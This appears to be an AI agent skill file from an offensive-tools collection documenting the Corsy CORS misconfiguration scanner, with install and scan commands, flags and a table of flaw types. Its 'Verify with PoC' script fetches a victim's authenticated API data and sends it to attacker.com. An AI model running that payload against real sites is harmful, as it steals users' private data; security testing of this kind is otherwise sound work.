offensive-tools/web-app/corsy/SKILL.md
CORS misconfiguration scanner that detects exploitable cross-origin resource sharing issues. Use when testing web apps for CORS vulnerabilities that could allow cross-origin data theft.
npx skillsauth add aeondave/malskill corsyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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CORS misconfiguration scanner — detect exploitable cross-origin policy flaws.
pip install corsy
# Single URL
corsy -u https://target.com
# With authentication
corsy -u https://target.com -H "Authorization: Bearer TOKEN"
# Bulk scan from file
corsy -i urls.txt
# Output to JSON
corsy -u https://target.com --json > cors.json
| Flag | Purpose |
|------|---------|
| -u URL | Target URL |
| -i FILE | Input file with URLs |
| -H "K:V" | Custom header |
| -t N | Threads |
| -d N | Delay between requests (ms) |
| -q | Quiet (no banner) |
| --json | JSON output |
| Type | Condition |
|------|-----------|
| Reflected Origin | Any origin reflected back |
| Trusted Null | null origin trusted |
| Prefix Match | eviltarget.com accepted when target.com trusted |
| Suffix Match | notatarget.com accepted |
| Trusted Subdomain | All subdomains trusted |
| HTTP allowed | HTTP origin trusted on HTTPS endpoint |
Scan authenticated endpoint:
corsy -u https://api.target.com/user/profile -H "Cookie: session=abc123"
Verify with PoC:
<script>
fetch('https://api.target.com/user/data', {credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://attacker.com?d='+btoa(d)))
</script>
| File | When to load |
|------|--------------|
| references/ | CORS exploit PoC templates |
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